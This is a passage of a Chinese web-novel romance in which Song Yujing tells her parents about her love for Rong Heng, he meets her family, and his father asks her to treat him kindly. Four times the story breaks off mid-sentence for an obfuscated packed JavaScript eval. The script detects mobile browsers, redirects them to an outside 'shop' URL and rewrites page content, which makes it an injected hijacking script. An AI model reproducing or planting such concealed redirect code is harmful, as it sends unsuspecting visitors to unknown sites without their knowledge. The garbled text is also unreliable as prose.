“鸿儿做的稍微快一些,我听说他手头上那部分事情昨天就忙完了,今天还邀请朋友来家里,你得空也休息休息。” 宋予静应了声好,将桌上的礼单册子收拾整齐,离开正院,想了想,迈向瑞雪居的脚步一转,改为前往跨院。 拐过转角,她遥遥地看见抱住画卷的宋归鸿,扬声唤道:“哥哥!你干啥去啦?我让你买的……” 看清跟在兄长后面的熟悉身影,剩下的“画纸”二字还没有机会说出口,悄然消失在寒风中。 她瞪大双眼,一眨不眨地盯着容珩,在宋归鸿发现不对劲前,低头用力揉揉眼睛,再往前一看。 的确是容珩,她没有看错。 但他怎么突然来家里了?难道宋归鸿邀请的朋友就是他? “妹妹。”宋归鸿朝她眨眨眼睛,语气却很正经,“我邀容世子来赏画,你来找我有何事?” “哦哦。”宋予静努力将视线从容珩身上收回来,“没什么大事,就过来看看你。” “妹妹有心了。” 她看看兄长手里的画卷,问:“哥,这是什么?” “容世子画的林间瀑布图。” “嗯?”心中疑惑更甚,她看了眼容珩,拉起兄长往旁边挪了几步,压低声音问,“哥,你啥时候跟容公子关系这么好了?他怎么还亲自来家里送画?” “上次在礼部尚书府的寿宴,父亲和我都跟他聊的不错。”宋归鸿解释,“爹随口提及京中传闻容世子擅丹青,尤擅长山水草木,他便答应下来,亲自画了三副画,还亲自送来,一副给父亲,一副给母亲,还有一副给我。” “送给爹和娘的画呢?” “已经让人送到正院了,爹早上出门了,娘说天冷,不必去向她见礼。”宋归鸿摸摸画卷,“大冷天的,总不能让人家送完画就回去吧?我就邀请他去书房坐坐。” 听完前因后果,宋予静总算明白了,跟着兄长走回到容珩面前。 “那我就不打扰你们赏画了。”她露出得体而不失礼仪的笑容,悄悄朝容珩眨眨眼睛,“先行告辞。” 宋归鸿顺口问:“去哪儿?要出门?” “去花园里走走。” 天气正好,暂时无事要忙,宋予静慢悠悠地晃到花园里,沿着湖边踱步。 湖面结了层薄薄的冰,养在水里的金鱼锦鲤全躲在冰下,阳光照耀,在冰面镀上一层金光。 漫步一圈,瞧见两名小厮端着笔墨纸砚从跨院走进来,她问:“你们这是在做什么?” “公子吩咐奴等把这些东西搬到亭子,说是容世子要在花园作画。” 宋予静挑眉,摆手让小厮先去忙,回头看了眼月亮门,又看看岔路口的假山,闪身躲进去。 说是假山,实则更像一处小石堆,只比成年男子高出一个头,边上种了些灌木,落光了叶子,堪堪隐藏住身形。 但位置不错,可以清楚看见走进花园的人。 宋予静抓住斗篷,悄悄伸出半个头,盯着月亮门。 约摸等了一刻钟,她听见兄长的声音遥遥响起:“我已经派人在花园里摆好笔墨,这下可以亲眼见久负盛名的容世子作画了。” 随即容珩清润的声音响起:“宋兄谬赞了。” 两人的身影从月亮门里穿过来。 她往下一蹲,捡起一块小石子,握在手里。 两人一边闲谈,一边往亭子的方向走。 忽然后面跑过来一名小厮,气喘吁吁道:“公子,学士派了长随回来,说是有急事要交代给您。” 宋归鸿立即皱眉,歉然道:“对不住,你先去亭子,我稍后就到。” “无妨,要事为先。” 宋归鸿匆匆离开。 容珩婉拒小厮带路,抬脚往前走。 宋予静眼疾手快,丢出石子,“咚”的一声轻响,落在他的脚边不远处。 容珩脚步一顿,略显疑惑的目光在四周环顾一圈。 她露出头,朝他招手,无声比出口型:“阿珩,快过来。” 他微微一愣,不过须臾,便出现在她的面前,挑眉笑道:“你蹲在这里做什么?” “守株待兔。”宋予静晃晃脑袋,抓起他的手,“虽然没有等到兔子,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519307|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓到一位美丽郎君。” 容珩轻轻笑了下,握住她的手心,“你近来忙碌,但要劳逸结合,保重身体。” “我知道啦。”她拉长声音回答,“你呢?国公府都是你在忙冬至的事情吗?” “还好,我都吩咐安排底下人去做了。” 宋予静点头,骨碌碌地转动眼睛,猛地扑过去,双手环住他的腰,飞快地问:“你平白无故地送三副画过来干嘛?老实交代,你想做什么?” 容珩先扶稳她,缓缓笑道:“只是赏画而已。” “真的?”她狐疑地打量他,“但我很少见到父亲和兄长如此欣赏一个人,你在他们面前都做了什么?” “当真?”容珩惊喜反问,“令尊与令兄对我很满意?” 他看上去很开心? 宋予静正准备继续问,山石后面不远处传来一阵脚步声,紧接着响起庆阳长公主的声音:“你说姑娘在花园里散步,人呢?” 侍女恭声回答:“先前奴婢扫雪时,还看见姑娘在湖边看冰。” “嗯。”庆阳长公主的声音高了些,“静儿,静儿?” 听见母亲似乎往这边走过来,宋予静低头瞅瞅抱住容珩的双手,莫名地浑身一抖。 她来不及细想,迅速撒开手,抓住他的肩膀,用力一按,将目露惊讶的容珩按到山石后,压低声音:“你快藏起来!” 随即,她连忙跨出山石,快走两步,站在母亲跟前,恰好挡住路,“您找我有什么急事?” “你从哪里冒出来?”庆阳长公主往她身后一看,“在这里做什么?” “不做什么,随便逛逛。”宋予静的心都快提到嗓子眼,强作镇定,挽住母亲的手臂,转身朝相反的方向走,“有事吩咐侍女就好了,哪里值得您亲自来,找我是有什么事情要忙吗?” “没事。”庆阳长公主回头看了一眼,“在屋里待的久了,我出来走走,听说你也在花园里,想和你一起散散步。” 往前走出一段距离,她暗暗松了口气,想了想,问:“我刚才好像听到人说阿爹派随从回来找哥哥,是有什么急事吗?” 庆阳长公主忽然止步,紧盯着她看了半晌,温柔笑笑:“让鸿儿找一份他帮忙亲自整理的书稿罢了。” 母亲的目光有些奇怪,不等她问,又听到庆阳长公主说:“我先回去了,你若是喜欢,就在花园里多逛逛。” 宋予静应了声好,目送庆阳长公主的身影消失在月亮门,再也看不见后,转身飞快跑回山石。 容珩还站在原地,垂首盯着地面,阳光自他身后照射,昳丽面容隐在晦暗的阴影里。 她连忙奔至他的面前,急声道歉:“对不起,我刚才不是故意让你藏起来的,只是不知道该怎么向母亲解释。” 容珩直盯着她,久久不语,倏忽往前两步,抓住她的手,“是我哪里做的还不够好吗?” 乍一听,他的声音清清淡淡,细听却能听出暗藏其中的低落神伤,甚至还有几分不自信。 “没有!你很好!”宋予静心尖一酸,“最近家里太忙了,我一直找不到合适的机会告诉父亲和母亲,又没有完全想好措辞,我保证马上告诉他们。” “真的?” “千真万确。” 宋予静声音坚定回答,就差举起手发誓了。 容珩终于笑起来,捧住她的脸,轻声道:“好。” 55. 禀明 既然答应了容珩,当天晚上,宋予静将之前想出来的措辞写了下来,捏住笔杆,盯着纸面。 依她对父母的了解,直接说是最好的办法。 想了大半夜,她终于琢磨出一番简明扼要又不失礼仪的说辞,躲在被子底下悄悄练习两遍,打算第二天早上就去告诉父母。 翌日。 宋予静一大早从温暖的被窝里爬出来,连早膳都没用,匆匆赶到正院。 “父亲和母亲呢?”她压低声音问。 侍女守在屋外,小声回答:“殿下与学士都还没有起。” 来的太早了。 她泄气地抓抓头发,也没让侍女去唤醒父母,进屋,坐在外间的罗汉床上,抱着暖手炉,耐心等候。 等了小半刻钟,穿戴整齐的庆阳长公主与宋学士携手从里间走出来。 “静儿?”庆阳长公主疑问,“你怎么一大早就来了?” 宋学士跟着问:“有急事?” “是。”宋予静望着父母,没有避讳,“有非常重要的事情要告诉父亲和母亲。” 庆阳长公主与宋学士的神情同时变得凝重起来。 眼角余光瞥见侍女似乎正在准备早膳,她也有意先在父母面前表现一番,连忙放缓声音:“娘,但不算很急,我们先吃早饭。” 侍女们利落地摆好早膳。 宋予静坐在母亲身边,夹起一块冒着热气的酥糕,“阿娘,您尝尝,拿新鲜牛乳做的。” 庆阳长公主点头,端起一碗牛乳放到她的面前,“多喝些牛乳。” 牛乳纯白,浓郁的奶香味飘逸。 一口气喝了大半碗,她又连忙舀了一碗豆汤,放到宋学士面前,“爹,喝点汤。” 宋学士看着她,缓缓点头。 顺利用过早膳,宋予静亲自倒了两杯清茶,端给父母。 庆阳长公主看了她几眼,慢条斯理地抿了几口,说:“你们都先出去。” 屋里的侍女应声而退,屋里只剩三人。 “说吧,你到底有什么事情要告诉我们?” 宋予静深吸一口气,走到屋中间,双手交叠,朝着坐在上首的父母深深一拜。 “父亲,母亲,女儿有一事禀明。”她缓声道,“女儿已有心仪的郎君,是镇国公府的容世子。” 满室静谧无声。 她咽了口唾沫,藏在袖子里的手微微发颤,低垂眼帘,直盯着地面。 父亲和母亲会阻止吗?他们会满意容珩吗?万一父母不同意她和容珩,她要怎么办? 真到这一刻,即使以往庆阳长公主和宋学士都很疼她,宋予静不可避免地紧张起来。 “知道了。”庆阳长公主平静的声音打破满室沉默,“得空让佩之那孩子来家里一趟,是该见见他了。” 她猛抬眼帘,直盯着母亲,压根不敢眨眼,听出庆阳长公主语气里并无多少惊讶,不由问:“母亲,您……您一直都知道?” “看出你最近的异常,隐约有些猜测罢了。”庆阳长公主朝她招手,“但不知道是谁,没想到竟然是佩之。” 她恍惚走上前,坐在母亲面前的圆凳,紧揪住衣袖,忍不住再问:“娘,您不反对?” “怎么?”庆阳长公主挑眉反问,“你想让我棒打鸳鸯?” “没有!”宋予静讪笑两声,讨好地替母亲捶捶腿,“我就是太惊讶了。” 她还在想如何说,谁知母亲早已有所察觉,幸好结果不错,父母都没有反对……等等。 她立时扭头去看宋学士。 宋学士面沉如水,细看似乎还带着几分懊恼。 “爹……”她小声开口,“您不开心吗?” 宋学士看着她,半晌后,勉强勾起嘴角:“没有,只要你喜欢就好。” 她偷瞄几眼,转头朝母亲投去求救的目光。 “忙自己的事去吧。” 宋予静悄悄觑了几眼宋学士,对上庆阳长公主了然的目光,只得应了声是,起身离开。 目送她的身影消失在门口,庆阳长公主转头看向丈夫,见他脸上笑意全无,故意问:“你对佩之那个孩子不满意?昨晚你不是还赞叹他年纪轻轻,却画的一手好画,为人又谦逊有礼。” “那是昨天的事情。”宋学士冷哼一声,“今天跟昨天不一样了。” 庆阳长公主摇头笑了笑,忽而正色道:“既然静儿喜欢他,才能家世大概没有问题,你再暗中去问问品性,让鸿儿也帮忙打探一番。” 提及正事,宋学士神情稍霁,又问:“关于镇国公府的家事,我知道的不算多,但听过一些,倘若静儿跟容世子真的能成,国公府那一摊子事岂不是都落在静儿身上?” “这有什么好担心的?”庆阳长公主毫不在意地说,“如果真的成亲了,到时候让静儿住县主府,我会抽空去找母亲和兄长聊聊。” 宋学士思考片刻,颔首赞同,起身道:“我出去一趟,去找同僚们。” “好。” * 顺利地向父母禀明,最重要的是庆阳长公主没有明确反对,宋予静便知道已经成功了大半,一离开家,直奔镇国公府。 “我来找容世子,麻烦叫他出来。” 门房屈膝恭敬行礼,吩咐一名小厮去传话,问:“外面风大,宋姑娘要不要进府里等候?” 今日天气依旧晴朗,她拒绝:“不用。” 等了不到一盏茶的工夫,容珩急匆匆自远处跑来。 宋予静朝他挥手,待他气息稳定些许后,问:“阿珩,你今日得空吗?” 容珩直接问:“去哪?” 她拉住他的手离开镇国公府,走到僻静的角落,说:“我已经将我们的事告诉了父亲和母亲,都没有明确反对。” “这么快?” “当然。” 之前她磨蹭拖延,迟迟不敢向他直言心意,平白浪费大好时光,这次她充分吸取教训,打好腹稿就直说,以免夜长梦多。 “你打算什么时候跟令尊说?” 容珩握住她的手,指腹轻轻摩挲手背。 “父亲昨日因事离府,大约要两日后才回来,我晚上写信给父亲,在信中告知,待他回来后,当面再说一遍。” 宋予静点点头,表示理解,笑道:“今天不忙,我们一起去玩吧!” 容珩温声应好。 前些日子忙得很,难得今日清闲自在,天公作美,两人在外整整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546333|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游玩了一天。 临到傍晚时分,宋予静牵着容珩的手,往公主府的方向走。 “我又让人酿了些桂酿,再储藏半个月,喝起来味道会浓醇一些,还可以做成酒酿团子。” “听上去味道会很好。” “到时候我们一起尝尝。” 容珩眼中笑意更甚:“好。” 已经到了家门口,再不舍得也要分开,宋予静仍握住他的手,“那明天……” 话未说完,侧门内忽然传来一句咬牙切齿的问话:“都什么时辰了,你还不赶紧回家?!” 她扭头一看。 宋归鸿站在侧门台阶上,面无表情,视线停在两人牵在一起的手,冷笑一声:“天色已晚,容世子还是早点回去,免得看不清路。” 宋归鸿明晃晃下达逐客令,与昨日欣赏赞扬的样子截然相反。 略微琢磨一下,宋予静便猜出兄长应该是从父母那里得知前因后果,也不敢在这个时候顶嘴,说:“阿珩,那你早些回家。” 容珩从她手里接过灯笼,应声:“好。” 但他没有立即离开,被宋归鸿狠狠瞪了一眼,方才松开她的手,看着宋归鸿提溜她的衣领,一把拉回家里。 宋归鸿的心思不难猜,无外乎是不喜欢拐走妹妹的人。 设身处地想,假如有人要拐走他的妹妹…… 思绪猛然顿住,容珩轻笑一声,掐掉刚才奇怪的念头,低头看看手里的烛光,快步返回国公府。 冬日的天黑得早,府里各处挂起灯笼。 容珩沿着游廊走向世子院,迎面匆匆走来一名管事,福身行礼:“世子,国公刚刚回来了,请您去正院。” 他瞬间拧眉,“走吧。” 正院书房内,镇国公端坐在书案后,面前似乎摆了一沓画册。 视线掠过案上,容珩恭声行礼:“见过父亲。” “珩儿……”刚说了两个字,镇国公顿住,咳嗽几声,方才继续说,“你已经及冠,也到了议婚的年纪,我托族里的人,替你相看了几位贵女……” “父亲。”容珩冷声开口打断,微微眯起眼睛,直盯着镇国公,“我有心仪已久的人,不劳父亲费心了。” 镇国公一愣:“是谁?” “宜宁县主,庆阳长公主与宋学士的爱女。”容珩恭敬客气地拱手,“长公主与学士或许会来找父亲,至于纳采、请期等诸多礼仪,儿自会准备,不敢叨扰麻烦父亲,父亲只需要在适当的时候出面即可。” 他是晚辈,有些事情不得不由镇国公出面与庆阳长公主、宋学士相商,如此才更显尊重。 容珩看了眼镇国公,神情愣怔中似乎带着几分伤心,垂下眼帘,“还望父亲成全。” 沉默半晌,镇国公苦涩一笑:“好,我明白了。” “多谢父亲。”容珩继续客气道,“还要麻烦父亲回绝族里,往后不必替儿相看婚事。” “好。” 容珩再一拱手,行礼告退。 离开正院,他仰头望着夜空,月明星稀,月光如水,澄净皎洁,倾洒在世间万物,蒙上一层朦胧清辉。 再过不久便是她的生辰了,他想,希望她会喜欢他准备的礼物。 56. 父母 “老实交代,你和容佩之什么时候在一起的?” 宋予静偷瞄兄长神情,小声回答:“半个多月前。” 宋归鸿脚步一顿,抬手往她的额头轻轻一敲,“你可真行哈!瞒到今天才说。” “之前太忙了。”她找理由辩解,“况且我总得想好措辞,才能更好地告诉父亲和母亲。” 宋归鸿抱着手臂哼了一声,“难怪那家伙凑到父亲和我的面前,还说什么探讨丹青技巧,合着是在打你的主意。” 抱怨几句后,宋归鸿叹息一声,神色严肃,语气郑重:“既然你喜欢他,我不会多说,只一条,如果那小子胆敢欺负你,绝对不要忍气吞声,我、父亲、母亲都会给你撑腰做主。” 闻言,宋予静眼眶一酸,微笑颔首。 * 虽然已向父母禀明,但冬至将近,两府都忙,无暇正式见面相谈。 忙过冬至,宋予静又跟着庆阳长公主参加了一次宴会,之后便是她的生辰。 依照她的意愿,家里没有大肆操办,她上午陪着家人用了顿丰盛的家宴,设小宴邀请回京后认识的贵女,款待一番。 直到未时正,她方才准备妥当,匆匆出门,奔向瓷器铺子。 宋予静敲了下院门,还没来得及敲第二下,门就开了。 容珩出现在眼前。 “对不住,我好像来的有些晚。” “无事。”容珩牵住她的手,“我也只是刚到。” 宋予静随他走进屋内,摸摸桌上的茶壶,温度刚好,不烫不冷,暗叹一声,也不戳穿。 顺手替他倒了杯茶,她跟着抿了半杯,正准备开口,听到容珩说:“我出去一会儿。” 她应了声好,心里隐约有些猜测,耐心等了小半刻钟,容珩果真端着笼屉走进来。 “你之前提过,会在家里吃长寿面。”他揭开笼盖,残留的氤氲热气飘扬,“所以我让人做了寿糕。” 热气散去,露出粉白两色的寿糕,面皮上红色寿字醒目,香气扑鼻。 宋予静拿起一块白色寿糕,入口绵软,里面的红豆馅磨得很细,细细咀嚼,咽下去后,舌尖甜香延绵。 一连吃了半笼,她拿起一块寿糕,递到容珩的面前,“你也吃,光我一个人吃,感觉都不够香。” 容珩笑笑,低头一咬。 转眼之间,一笼寿糕尽数进了两人的肚子。 “你今天……”容珩的视线掠过她的耳垂,“为何戴了耳坠?” 宋予静拨弄耳坠,笑盈盈回答:“因为要来见你呀。” 笑意漫上他的眉眼,倏忽一顿,变换为犹豫不决。 “怎么了?” 容珩抿了抿唇,手伸进袖子里,摸出一个黄花梨木匣子,握在手心,迟迟没有放下。 宋予静满腹疑惑,不由握住他的另一只手,“你在想什么?” 容珩摇头,将匣子放在案几上,翻开匣盖,“我送给你的生辰礼物。” 她立即低头去看。 匣子里躺着一对耳坠,两根银丝缠绕,末端勾住一颗珍珠,珠色莹润透白,被垫在底下的黑色锦布映衬得更加莹亮。 她小心翼翼地取出耳坠,很轻,又摸摸珍珠,触感细腻温润,躺在手心,仿佛握住一轮小巧的明月。 宋予静缓缓合拢五指,将温柔月光藏握于掌心之中。 “你……”容珩缓声问,“喜欢吗?” “很喜欢。”她摊开掌心,“阿珩,帮我戴上。” 容珩明显松了口气,拿起珍珠耳坠,走到她的身边坐下,先摘下金丝白玉耳坠,放回匣子里。 宋予静双手搭在膝盖,往他的方向倾身。 之前他帮忙戴过一次,没有出现任何差错,她完全相信这一次他也能稳稳戴好。 容珩轻轻捏住她的耳垂,侧身靠近。 他今日穿的是广袖,靠得近,宽大的衣袖自肩膀垂落在胸前,他的手背贴在脸颊,依稀感受到一股暖意。 她忍不住蹭了蹭。 容珩猛地握紧手,上边的青筋凸起,擦过脸颊,下一瞬又松开。 “不要乱动。”他的语气听上去有些无奈,“我怕弄伤你。” 宋予静乖乖应声,规矩坐好,看着前面低调不失华贵的衣裳,看了会儿,视线不由自主地移到他的脸上。 她直盯着他看。 容珩戴好两只耳坠,一转头便对上她专注的目光,略微俯身靠近,轻声道:“你在看什么?” “看你呀。” 宋予静毫不掩饰,甚至还往朝他靠近一分,在他眼中隐约看见自己的模样,左右摇头,几乎感觉不到耳坠的重量,重新坐直。 容珩没有离开,仍紧贴在她的身边坐着。 案几上除了寿糕,另外还有两碟糕点,她拿起一块放进嘴里慢嚼,又塞给容珩一块。 “对了,有件事差点忘记跟你说了。”她连忙咽下嘴里的糕点,“母亲说明天要见你,父亲和兄长都会在场。” 容珩的手一顿,夹在指间的糕点霎时掉落在地。 * 翌日。 宋予静亲自去大门口等人,刚走出府门,便瞧见容珩自马车下来。 一身绯色交领广袖长袍,暗纹贵气,长发以金冠束起,端方持重,风度翩翩。 她暗暗欣赏一番,领着他往前走,说:“父亲、母亲还有兄长都在正院,正在等你。” 容珩立即问:“我来晚了吗?” “没有,还没到巳时正。” 遥望见正院的轮廓,宋予静偏头看向一路上整理了无数次衣裳的容珩,想了想,朝他招手,示意他弯腰靠近。 “爹和娘都很好说话的,你别紧张。”她小声透露,“而且今天早上阿娘心情似乎不错,你多留意阿娘的神情。” 容珩深吸一口气,缓缓吐出:“好。” 走进正屋,庆阳长公主和宋学士端坐在上首,宋归鸿坐在下方。 “父亲,母亲。”宋予静规矩禀道,“容世子来了。” 庆阳长公主颔首道:“你先出去。” 宋予静挠挠手心,看了眼身侧的容珩,环顾屋内,连个侍女都没有,再瞅瞅自家母亲的神色,只得转身离开。 容珩没有回头看她,上前一步,深深拱手作揖,恭敬行礼:“晚辈容珩见过殿下,见过学士。” 庆阳长公主笑笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566279|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不必多礼,坐吧。” “是。” 容珩顺势坐在旁边的官帽椅里,挺直腰背,抬头便迎上对面宋归鸿冷漠的目光,勾起嘴角,露出和善的笑容。 宋归鸿依旧面无表情。 “本该早些见你一面。”庆阳长公主开口打破满室寂静,“只是冬至前后事情多,府里比较忙,拖到今日才叫你过来。” “殿下言重了。”容珩谦逊回答,“按礼,本该是我前来拜访。” 庆阳长公主颔首,略问了他几句平日里的琐事,放下茶杯。 “我已经听静儿说了你们的事情,既然静儿喜欢你,也没有大的问题,我不会当什么恶人,只是我必须要确认一件事。” 容珩挺直腰背,暗暗打起十二分精神,“殿下请问。” “静儿是县主,有自己的县主府,无论嫁给谁,婚后都会住在县主府。”庆阳长公主语调温柔,面带和煦笑意,“贵府的情况,我略有耳闻,尤其是那几位比你年幼十几岁的庶弟庶妹……” 庆阳长公主停顿一下,悠悠地看着容珩,继续说:“静儿年纪还小,我可不舍得她在这个年纪就操心那么多闲事。” 容珩沉默片刻,起身走回屋中间,再次恭敬行礼:“请殿下与学士放心,我自会安排好府里,日后也会跟随令爱居住在县主府,绝不会让她操劳。” “如此最好。”庆阳长公主略略颔首,转头问,“你们还有没有什么要问的?” 宋学士看着容珩,不似以往带着温和的笑容,看了半晌,摇头。 “没什么好问的。”宋归鸿掀起眼帘看了他一眼,“说的好听不如做的好,现在就算说出朵花来,也没什么用。” 庆阳长公主略一挑眉,只说:“好了,该问的该说的,我们都已经说完了,忙你自己的事情去吧。” 容珩应了声是,脚步踟蹰,迟迟没有转身。 “静儿应该在院子外等你。”庆阳长公主抿唇笑笑,“还不快去?” 他立时松了口气,朝庆阳长公主与宋学士拱手,尔后快步离开。 一走出院门,容珩便看见前方的宋予静,低着头,来回走个不停。 “静静。” 她瞬间抬头,双眼一亮,朝他奔来。 接住扑过来的宋予静,容珩虚环住她的腰,在原地站定。 “怎么样?”她仰头问,“爹和娘都不是爱磋磨人的性格,应该没有为难你。” 确实算不上为难。 但容珩知道,日后如果他胆敢欺负亏待宋予静一分,言行不一,庆阳长公主势必会让两人和离。 心里这般想,他面上却笑道:“殿下与学士和蔼可亲,并没有多说什么。” “我就说嘛,你不用紧张。”她摸摸他的手,摸到一股汗水的黏湿,“你看你,掌心都是汗。” “因为我担心殿下与学士对我不够满意。” “怎么可能?你绝对是天底下最好的郎君!”宋予静顿了顿,眉间笑意散去几分,迟疑开口,“阿珩,按礼,我是不是要去拜访令尊?” “不必。”容珩缓缓低头,捧住她的脸,轻轻摩挲,指腹下的肌肤柔软,“你只需要在意我一个人。” 57. 作画 三日后,庆阳长公主、宋学士便和镇国公正式见了一面。 具体谈了什么,庆阳长公主没有细讲,只对她说往后见到镇国公,明面上的规矩礼节过得去便好。 宋予静琢磨了一下,认真记住母亲的叮嘱。 自此两家私下里通过了气,因年关将至,腊月里两府都忙得很,约好明年再办纳采等仪式。 宋予静自觉不再常出门游玩,留在家里帮庆阳长公主处理一些庶务。 忙了几天,得了一天空闲,她当即让人给容珩传话,说明天想去镇国公府见他。 等到第二天,她早早起来,用过早膳,坐马车前往镇国公府。 走进府门,两名侍女候在前面,福身行礼:“奴婢问姑娘贵安,世子吩咐奴婢在此等候,为姑娘去世子院引路。” 算起来她不是第一次去世子院,也还记得路,但容珩特意吩咐人在这里等她,宋予静也不多问,跟着侍女往前走。 与上次来的时候相比,国公府变化不大,只因天冷,花木的枝叶凋落,四周景色略显萧索。 途径花园时,她特意停下脚步,望向移植的桃林。 褐色枝干光秃秃的,一眼望过去,落满白雪,比不得春日的繁花似锦。 “奴婢恭请国公贵安。” 宋予静立即扭头,果然看见镇国公站在假山旁边,也不知道他是什么时候出现。 “你先下去。”镇国公咳嗽几声,“县主,我有几句话想要和你说。” 侍女飞快地看了宋予静一眼,留在原地没动。 宋予静朝侍女颔首,两人方才走远。 她看向镇国公,微微屈起双膝。 “县主不必多礼。”镇国公急声阻止,“往后在我面前不必讲这些规矩礼仪。” 她悄悄抬眸看了眼镇国公的神情,少见地带了一分焦急,不似作伪,她沉默一瞬,继续福身行了半礼,垂眸立在原地。 “我在此处拦住县主,实乃情急之举,着实是有些话要当面告诉县主,还请县主莫怪。” 宋予静站直,看着旁边的假山,淡声道:“国公请讲。” “珩儿很喜欢你,往后我绝对不会为难县主,也会约束府里族里的众人,只有一点……” 镇国公顿住,闭了闭眼,竟然拱手朝她作揖。 她吃了一惊,连忙闪身往路边一躲,没有受镇国公的礼。 “还请县主日后好好待珩儿。” 宋予静拧起眉头,看向对面的中年男子。 镇国公神情苦涩,声音里的悲伤难以掩饰,与之前见到的冷肃截然相反,鬓边隐有白霜。 她沉默片刻,放缓一分语气:“此事无需国公提醒,我自然会对佩之好。” “如此最好。”镇国公笑起来,仍含一分苦涩,“我就不耽搁县主了,免得珩儿等急了。” “国公慢走。” 宋予静站在原地,暗暗打量镇国公离开的背影,琢磨对方特意来找她说这番话的深意。 她一边猜想,一边往前走,刚走到世子院的门口,容珩便从里面走出来,紧锁眉头,步履匆匆。 “阿珩!” 听到她的声音,容珩大步流星朝她走来,眉头舒展几分,连声问:“路上遇见了什么事?好像到的有些迟,不如下次我还是去门口接你,好吗?” “不用你在门口等,天气那么冷,冻坏了怎么办?”宋予静拉住他的手往前走,又朝两边看看,压低声音,“只是半路遇见令尊,同我说了几句话。” 握住她的手猛地一紧,容珩的声音微沉:“父亲为难你了?” “没有。” 她如实转述一遍,挠挠脸颊,“我就是想不明白令尊说这些话的原因。” “想不明白就别想了。”容珩说,“晚上我会找父亲谈谈。” 听出他语气里的冷淡,宋予静环顾书房,只有两人,摆手让候在屋外的小厮退下去,她正视容珩,认真问:“阿珩,你和令尊的关系为什么如此僵硬疏远?” 问出许久的疑惑,她又补充道:“你如果不想说就算了。” “没有什么不能说的。” 容珩塞了一个暖手炉给她,摸摸她的手,摸得暖和起来后,缓声开口。 “父亲与母亲情深意笃,母亲去世后,难以从痛苦里走出来,故而我自小跟在祖母身边,很少见到父亲,祖母去世前,强令父亲要为容家开枝散叶,所以我和那些弟弟妹妹年龄差距有些大。” 从他口中说出来,不过短短一段话,细细深究,却能听出暗中其中的苦涩。 镇国公夫人去世的时候,他尚在襁褓之中,便要守孝三年,好不容易走出丧母的悲痛,又被亲生父亲忽视,难以想象这十几年是如何过来的。 宋予静心尖一颤,眼眶泛起酸意,紧紧握住他的手,“阿珩,往后我会一直陪着你。” 容珩伸手,轻柔抚过她的眼角,轻声应道:“好。” 借着环顾四周的动作,宋予静悄悄揉了揉眼角,视线落在前方。 前方放着一张紫檀木如意云纹画案,隐约看得见上面摆着笔墨纸砚等,往后一张黄花梨木圈椅,墙上挂着一副寒兰图。 欣赏片刻墙上的画,她的目光移到条案边的大卷缸,里面放了许多画卷。 “我能看一看你画的画吗?”她有意不再提那些陈年旧事,转移话题,“父亲和兄长都说你画技很好。” “当然可以。” 宋予静走近,信手取出一副画卷,徐徐展开。 首先映入眼帘的是两只黑色蜻蜓,在空中飞舞,旋即出现粉色花尖、白色花瓣,从硕大的绿色圆叶里生长,深色荷梗立在碧色水波中。 夏日莲花栩栩如生,仿佛还能闻到荷花清香。 “真漂亮。” 她重新卷好画,放回卷缸里,拿起另一副画卷。 春天桃花,夏日睡莲,秋季金桂,还有一两副秋日山色图,整整一个卷缸里几乎都是这些画。 宋予静放好最后一副画。 “还有一些放在库房里。”容珩问,“你还想继续看其他画吗?” “不用。”她顿了顿,直接问,“阿珩,为什么画的都是这几样花卉,而且好像都没有看到人。” 容珩取墨的手一顿,“我不擅长画人物。” 她“哦”了一声,瞧见他的动作,问:“你现在想要作画?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581717|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不全是。”容珩把墨锭放在砚台边上,“刚才看到三季花卉,你觉得现在还有哪些花可以与之相配?” “现在是冬天,自然是寒梅了。”说着,她瞥见墙上的寒兰图,正是之前在铺子后院画的那副,补充道,“寒兰也很好。” 容珩顺着她的目光看去,眼中笑意深了几分,“静静,我们再一起画一副寒兰图,好吗?” 说完,他往右边侧身。 四脚小架子上放着一盆寒兰,白色微黄的花瓣被细长绿叶簇围,尽数绽放,清幽高雅。 